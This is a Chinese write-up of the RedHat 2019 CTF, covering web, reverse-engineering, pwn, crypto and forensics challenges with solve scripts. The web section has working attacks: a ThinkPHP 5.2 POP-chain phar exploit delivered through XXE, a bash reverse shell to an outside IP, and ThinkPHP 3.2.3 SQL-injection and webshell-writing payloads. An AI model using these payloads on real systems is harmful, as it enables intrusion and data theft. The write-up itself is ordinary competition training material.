第三届红帽杯线上赛 RedHat 2019 Writeup

Web

Ticket_System

存在XXE 可读取服务器文件,F12 查看网页源代码提示查看 /hints.txt,获取到提示需要 RCE。

利用 ThinkPHP V5.2.0RC1的 POP Chain,XXE + phar://反弹 shell 后在根目录下trap "" 14使程序不会中断退出,执行 /readflag 完成 challenge 即可获取flag。

Phar exp 可参考: http://m0te.top/articles/Thinkphp%20POP/Thinkphp%20POP.html

<?php
namespace think\process\pipes {
    class Windows
    {
        private $files;
        public function __construct($files)
        {
            $this->files = array($files);
        }
    }
}

namespace think\model\concern {
    trait Conversion
    {
        protected $append = array("Test" => "1");
    }

    trait Attribute
    {
        private $data;
        private $withAttr = array("Test" => "system");

        public function get($system)
        {
            $this->data = array("Test" => "$system");
        }
    }
}
namespace think {
    abstract class Model
    {
        use model\concern\Attribute;
        use model\concern\Conversion;
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
        public function __construct($system)
        {
            $this->get($system);
        }
    }
}

namespace {
    $Conver = new think\model\Pivot("bash /tmp/uploads/5d1ef4eb1568455dcd57edb7081e8181/20191111/750e21eaf4887bb1d0476ff2c581d669.xml");
    $payload = new think\process\pipes\Windows($Conver);
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->setMetadata($payload); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
}

攻击流程如下:

1.上传 bash.xml -> bash -i >& /dev/tcp/47.98.224.70/23333 0>&1
2. 获取 bash.xml 上传路径,利用 phar exp 生成 phar.phar,更改后缀为 .xml 后上传。
3. XXE 触发 phar 反序列化 反弹 shell 

XXE Payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [ <!ENTITY b SYSTEM "php://filter/resource=phar:///tmp/uploads/9ee7098eadd66450d552896a0685ea09/20191110/8d696ecb29fbc5ea014d405dad3c4d3e.xml"> ]>
<ticket><username>&b;</username><code>1</code></ticket>

easy_cms

下载xyh_cms源代码到本地审计,在 \App\Api\Controller\LtController.class.php 中发现 ThinkPHP 3.2.3 的 SQLi. $order_by 参数可控:

$order_by  = I('orderby', 'id DESC');
[...]
$_list = D2('ArcView', 'search_all')->nofield($nofield)->where($where)->order($order_by)->limit($limit)->select();

注入路由: /index.php?s=Api/Lt/alist.html, POST:

orderby[title]=and(updatexml(1,concat(0x7e,(select/**/password/**/from/**/xyh_admin/**/where/**/id=1)),1))#

回显位置:/App/Runtime/Logs/Api/19_11_11.log.

[ 2019-11-11T10:33:55+08:00 ] 10.12.0.34 /index.php?s=Api/Lt/alist.html
ERR: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~2f744817428b953e97ca427d116b18b'

注出管理员 CAs9HnXcQ Hash 和 salt 值 Wk3zDr 后尝试爆破弱口令破解无果,尝试直接写入 shell:

# <?php phpinfo(); ?>
orderby=id/**/into/**/outfile/**/%27/var/www/html/shell.php%27/**/lines/**/starting/**/by/**/0x3c3f70687020706870696e666f2829203f3e/**/%23

由于 secure-file-priv 限制写入失败,尝试漫游数据库,共 4 个库,其中 3 个库为 mysql 自带库,当前库本地测试有 39 个表,注入到题目环境发现有 40 个表,则多出来的一个表很可能为 flag 表。

select table_name from information_schema.tables where table_name like 'f%' and table_schemata=database()

得知 flag 表名为 fl4g,有两列 id,flaag. 可通过延时注入、报错注入等方式获取数据,采用报错注入比较快速,由于报错注入有长度限制可分两次进行注出完整 flag,Payload如下:

# 报错注入
orderby[title]=and(updatexml(1,concat(0x7e,(select/**/flaag/**/from/**/fl4g)),1))#
orderby[title]=and(updatexml(1,concat(0x7e,(select/**/substring((select/**/flaag/**/from/**/fl4g),20))),1))#
# 延时注入 响应 404 即为 True
orderby[if(]=substr((select/**/flaag/**/from/**/fl4g),1,1)='f',sleep(1),1))

获取到 flag{399e13ad-2ecb-4256-8871-c6325e6cd704}.

尝试碰撞管理员密码的脚本:

# coding = utf-8 
import threading
import Queue
import hashlib

Q = Queue.Queue()

with open('passwd.txt') as file:
    for i in file:
        oldmd5 = str(hashlib.md5(str(str(hashlib.md5(str(i.split("\n")[0]).encode()).hexdigest())+'Wk3zDr').encode()).hexdigest())
        if '2f744817428b953e97ca427d116b18b7' == oldmd5:
            print(hashlib.md5(str(str(hashlib.md5(str(i.split("\n")[0]).encode()).hexdigest())+'Wk3zDr').encode()).hexdigest())
            break
        else:
            print("Fuck")

RE (by pwnht)

xx

从题目上可以联想到xxtea

关键判断在这了,如果,v20加密之后的字串和v30逐位比较,如果10次比较成功,就会输出 you win ,那么,之后看v20怎么来的就可以了

然后正向看,在sub_140001AB0() 函数里面,魔数 0x61C88647 为xxtea加密,那么,如果想得到明文需要key,那么怎么生成key

用输入的前四位作为key的前4位(前四位肯定是flag。。。当时还寻思着爆破来着2333),高12个字节均为0

然后进行一个下面的操作,就得到了v20,逆向一下,就可以了

#include <stdint.h>
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))

void btea(uint32_t *v, int n, uint32_t const key[4])
{
    uint32_t y, z, sum;
    unsigned p, rounds, e;
    if (n > 1)            /* Coding Part */
    {
        rounds = 6 + 52 / n;
        sum = 0;
        z = v[n - 1];
        do
        {
            sum += DELTA;
            e = (sum >> 2) & 3;
            for (p = 0; p < n - 1; p++)
            {
                y = v[p + 1];
                z = v[p] += MX;
            }
            y = v[0];
            z = v[n - 1] += MX;
        } while (--rounds);
    }
    else if (n < -1)      /* Decoding Part */
    {
        n = -n;
        rounds = 6 + 52 / n;
        sum = rounds * DELTA;
        y = v[0];
        do
        {
            e = (sum >> 2) & 3;
            for (p = n - 1; p > 0; p--)
            {
                z = v[p - 1];
                y = v[p] -= MX;
            }
            z = v[n - 1];
            y = v[0] -= MX;
            sum -= DELTA;
        } while (--rounds);
    }
}

int main()
{
    unsigned int key[4] = { 0x67616c66, 0, 0, 0 };
    char target[24]={0xCE, 0xBC, 0x40, 0x6B, 0x7C, 0x3A, 0x95, 0xC0, 0xEF, 0x9B, 0x20, 0x20, 0x91, 0xF7, 0x02, 0x35,0x23, 0x18, 0x02, 0xC8, 0xE7, 0x56, 0x56, 0xFA};
    for(int i=23;i>0;i--){
        int index = i/3;
        if(index > 0){
            while (index > 0){
                index --;
                target[i] ^= target[index];
            }
        }
    }
    char s[24]="";
    s[2] = target[0];
    s[0] = target[1];
    s[3] = target[2];
    s[1] = target[3];
    s[6] = target[4];
    s[4] = target[5];
    s[7] = target[6];
    s[5] = target[7];
    s[10] = target[8];
    s[8] = target[9];
    s[11] = target[10];
    s[9] = target[11];
    s[14] = target[12];
    s[12] = target[13];
    s[15] = target[14];
    s[13] = target[15];
    s[18] = target[16];
    s[16] = target[17];
    s[19] = target[18];
    s[17] = target[19];
    s[22] = target[20];
    s[20] = target[21];
    s[23] = target[22];
    s[21] = target[23];
    btea((uint32_t*)s, -6, key);
    printf("%s\n",s);
}

easyRE

这个题目有一个坑点,就是,过了main函数这个判断,的到不是flag,而是,看雪版主发的一个主动防御的文章???

其实真正的条件在fini_arrary调用的函数

只要过这个判断就可以了,正常情况是过不了这个条件的,因为v5是个随机数,不可预期,但是由于,puts为flag字串的话,前四位一定为flag,flag字串和byte_6CC0A0的前四位异或,就能的到v8的值,然后再异或输出flag

#!/usr/bin/env python
target=[0x40,0x35,0x20,0x56,0x5D,0x18,0x22,0x45,0x17,0x2F,0x24,0x6E,0x62,0x3C,0x27,0x54,0x48,0x6C,0x24,0x6E,0x72,0x3C,0x32,0x45,0x5B]
key=[]
flag="flag"
for i in flag:
    key.append(ord(i)^target[flag.index(i)])
flag=""
for i in range(0,0x19):
    flag+=chr(target[i]^key[i%4])
print flag

childRE

首先正向分析,根据调试,这一段代码会打乱你的输入,是一个位置互换的的算法,但是不改变的你输入的值,你输入是和互换的位置是没有关系的

然后,再逆向分析

这里求出 output string ,得到output string为*private: char * __thiscall R0Pxx::My_Aut0_PWN(unsigned char )

得到的长度62,而输入的为31,怎么才能的得到这个呢??

百度了一下这个函数

这个函数是为了防止符号冲突,写成特定的格式,防止冲突,那么,这个可以扩展字串吗,当然,我们可以看到output string为一个函数的声明的格式,所以,我输入31个字节,也是可以的到62个字节的

#!/usr/bin/env python
str_remainder = '(_@4620!08!6_0*0442!@186%%0@3=66!!974*3234=&0^3&1@=&0908!6_0*&'
str_quotient =  '55565653255552225565565555243466334653663544426565555525555222'
src = '1234567890-=!@#$%^&*()_+qwertyuiop[]QWERTYUIOP{}asdfghjkl;'

output_string=""
for i in range(len(str_quotient)):
    output_string+=chr(src.index(str_remainder[i])+src.index(str_quotient[i])*23)
#private: char * __thiscall R0Pxx::My_Aut0_PWN(unsigned char *)
str_input = '1234567890abcdefghijklmnopqstuv'
str_encode = 'fg8hi94jk0lma52nobpqc6stduve731'
flag = []
#?My_Aut0_PWN@R0Pxx@@AAEPADPAE@Z

encode_input = '?My_Aut0_PWN@R0Pxx@@AAEPADPAE@Z'
decode_input=""
for i in range(len(encode_input)):
    decode_input+=encode_input[str_encode.index(str_input[i])]
print decode_input

最后flag就是decode_input的md5值.

Pwn (by pwnht)

three

这个就不算漏洞函数了吧,算是后门函数,让你读三个bit去之后执行这个三个bit如果返回结果正确就就输出1,不然输出二,如果仔细观察内存的话call这个3bit的时候,寄存器的ecx是我们之前tell me输入的buf的指针,正好 asm(mov eax,[ecx],ret) 是三个字节,所以,爆破就完事了

from pwn import *
__author__ = '3summer'
s       = lambda data            :io.send(str(data)) 
sa      = lambda delim,data      :io.sendafter(str(delim), str(data))
sl      = lambda data            :io.sendline(str(data))
sla     = lambda delim,data      :io.sendlineafter(str(delim), str(data))
r       = lambda numb=4096       :io.recv(numb)
ru      = lambda delims,drop=True:io.recvuntil(delims, drop)
irt     = lambda                  :io.interactive()
uu32    = lambda data            :u32(data.ljust(4, '\0'))
uu64    = lambda data            :u64(data.ljust(8, '\0'))
code = '\x8b\x01\xc3'
io = None
flag = []
for i in range(0x20):
    for j in range(30, 128):
        try:
            io = process('./pwn')
#           io=remote("47.104.190.38",12001)
            sla('index:\n',str(i))
            sa('much!\n',code)
            sla('size:\n','2')
            sa('Tell me:\n',chr(j))
            isright = ru('\n')
            io.close()
            if isright == '1':
                flag.append(chr(j))
                break
        except:
            pass
    if chr(j) == '}':
        break
print ''.join(flag)

Crypto

Broadcast

粗心的Alice在制作密码的时候,把明文留下来,聪明的你能快速找出来吗?

直接在 Python 脚本中获取明文 flag{fa0f8335-ae80-448e-a329-6fb69048aae4}

Misc

签到

完成问卷,获取 flag{Red70_RedHat}

Advertising for Marriage

someone want a girlfriend.....

分析内存镜像进程活动内容:

volatility pslist -f Advertising\ for\ Marriage.raw

发现 notepad.exemspaint.exe,分析 notepad.exe:

volatility notepad -f Advertising\ for\ Marriage.raw

获取到 Hint: ????needmoneyandgirlfirend.

导出 mspaint.exe 进程内存文件,修改后缀为 .data 使用 Gimp 分析原始图像获得:

翻转 Pineapple 获取到 b1cx(菠萝吹雪),即 b1cxneedmoneyandgirlfirend.

filescan 扫描文件发现桌面上存在图片 vegetable.png,导出图像重命名分析。

volatility dumpfiles -f Advertising\ for\ Marriage.raw -Q 0x000000000249ae78 -D ./

打开图片提示 IHDR: CRC ERROR,估计宽度或高度被修改,使用脚本计算实际宽高并修复。

# https://impakho.com/
# coding = utf-8
import os
import binascii
import struct

img = open("vegetable.png", "rb").read()

for w in range(1024):
    for h in range(1024):
        data = img[0xc:0x10] + struct.pack('>i',w) + struct.pack('>i',h) + img[0x18:0x1d]
        crc32 = binascii.crc32(data) & 0xffffffff
        if crc32 == struct.unpack('>i',img[0x1d:0x21])[0] & 0xffffffff:
            print w, h
            print hex(w), hex(h)
            open("vegetable_new.png", "wb").write(img[:0xc] + data + img[0x1d:])
            exit()

获取到图片含有模糊的 flag 难以辨认,同时分析出 lsb 含有可能含有隐藏信息。

使用 cloacked-pixel/lsb.py 解密获取到隐藏信息:

使用 Vigenere 在线解密, key 同为 b1cxneedmoneyandgirlfirend, 获取到 flag{d7f1417bfafbf62587e0}.

恶臭的数据包

野兽前辈想玩游戏,但是hacker妨碍了他连上无线网,前辈发出了无奈的吼声。

打开.cap分析无线流量,WiFi 连接认证的重点在 WPA 的四次握手包,也就是 eapol协议的包,过滤一下:

aircrack-ng -w ./wpa-dictionary/common.txt cacosmia.cap

Wireshark 的 编辑 - 首选项 - Protocol(协议) - IEEE802.11 - Decryption Keys导入:mamawoxiangwantiequan:12345678,获取解密流量。

tcp.stream eq 24 中提取出 114514.png,WinHex 打开发现后面隐藏有 Zip 归档,binwalk 分离即可。

观察 Cookie 字段为 JWT 解密得到 hint (for security, I set my password as a website which i just pinged before),过滤 icmpdns 流量最终锁定到 26rsfb.dnslog.cn 即为 password,解压获得 flag{f14376d0-793e-4e20-9eab-af23f3fdc158}.

0x02 玩具车

给出的WAV文件是对于所给图片各个通道的时序-电平采样数据,通过导入可以获得各个通道在采样中的电平状态。由wav文件属性可知采样率8000,于是每8000次取样,归一化转换成0-1数据表示电平状态。根据电机驱动模块的工作状态可以得到小车的5种运行状态:前进,后退,左转,右转,不动。对应模拟小车的行进状态画出小车轨迹即可得到flag的图像,最后上下翻转,翻译出flag{63177867-8a43-47ab-9048-298867128b3a}

附 Python 脚本 (by FXTi):

from scipy.io import wavfile
import numpy as np
import math
import matplotlib.pyplot as plt

flist = [
'L293_1_A1.wav',
'L293_1_A2.wav',
'L293_1_B1.wav',
'L293_1_B2.wav',
'L293_1_EnA.wav',
'L293_1_EnB.wav',
'L293_2_A1.wav',
'L293_2_A2.wav',
'L293_2_B1.wav',
'L293_2_B2.wav',
'L293_2_EnA.wav',
'L293_2_EnB.wav',
]

def convert(fname):
    sample_rate, sig = wavfile.read(fname)
    sig = sig.tolist()
    sample = []
    for i in range(788):
        tmp = sig[i*8000]
        if tmp > 0:
            sample.append(1)
        else:
            sample.append(0)
    return sample

tou_a1 = convert(flist[0])
tou_a2 = convert(flist[1])
tou_b1 = convert(flist[2])
tou_b2 = convert(flist[3])
tou_ena = convert(flist[4])
tou_enb = convert(flist[5])

wei_a1 = convert(flist[6])
wei_a2 = convert(flist[7])
wei_b1 = convert(flist[8])
wei_b2 = convert(flist[9])
wei_ena = convert(flist[10])
wei_enb = convert(flist[11])

lb = [] #left before
rb = []
la = []
ra = []

for i in range(len(tou_a1)):
    if tou_ena[i] == 1:
        if tou_a1[i] == 0 and tou_a2[i] == 0:
            lb.append(0)
        if tou_a1[i] == 0 and tou_a2[i] == 1:
            lb.append(1)
        if tou_a1[i] == 1 and tou_a2[i] == 0:
            lb.append(-1)
        if tou_a1[i] == 1 and tou_a2[i] == 1:
            lb.append(0)
    else:
        lb.append(-2)

    if tou_enb[i] == 1:
        if tou_b1[i] == 0 and tou_b2[i] == 0:
            rb.append(0)
        if tou_b1[i] == 0 and tou_b2[i] == 1:
            rb.append(1)
        if tou_b1[i] == 1 and tou_b2[i] == 0:
            rb.append(-1)
        if tou_b1[i] == 1 and tou_b2[i] == 1:
            rb.append(0)
    else:
        rb.append(-2)

    if wei_ena[i] == 1:
        if wei_a1[i] == 0 and wei_a2[i] == 0:
            la.append(0)
        if wei_a1[i] == 0 and wei_a2[i] == 1:
            la.append(1)
        if wei_a1[i] == 1 and wei_a2[i] == 0:
            la.append(-1)
        if wei_a1[i] == 1 and wei_a2[i] == 1:
            la.append(0)
    else:
        la.append(-2)

    if wei_enb[i] == 1:
        if wei_b1[i] == 0 and wei_b2[i] == 0:
            ra.append(0)
        if wei_b1[i] == 0 and wei_b2[i] == 1:
            ra.append(1)
        if wei_b1[i] == 1 and wei_b2[i] == 0:
            ra.append(-1)
        if wei_b1[i] == 1 and wei_b2[i] == 1:
            ra.append(0)
    else:
        ra.append(-2)

direct = []
for i in range(len(lb)):
    tmp = (lb[i], rb[i], la[i], ra[i])
    if tmp == (-1, 1, -1, 1):
        direct.append('left')
        continue
    if tmp == (1, -1, 1, -1):
        direct.append('right')
        continue
    if tmp == (-1, -1, -1, -1):
        direct.append('back')
        continue
    if tmp == (1, 1, 1, 1):
        direct.append('forward')
        continue
    if tmp == (-2, -2, -2, -2):
        direct.append('wait')
        continue
    print("unexcepted direction: " + str(tmp))

turn = (90) / 180 * math.pi
ford = 1
now = math.pi / 2
x = 0
y = 0
point = [(0,0)]
for di in direct:
    if 'wait' == di:
        point.append((x, y))
    if 'left' == di:
        now += turn
        point.append((x, y))
    if 'right' == di:
        now -= turn
        point.append((x, y))
    if 'forward' == di:
        x += ford * math.cos(now)
        y += ford * math.sin(now)
        point.append((x, y))
    if 'back' == di:
        x -= ford * math.cos(now)
        y -= ford * math.sin(now)
        point.append((x, y))

print("\n".join(direct))

xx = []
yy = []
for i in point:
    xx.append(i[0])
    yy.append(i[1])
plt.plot(xx, yy)
plt.show()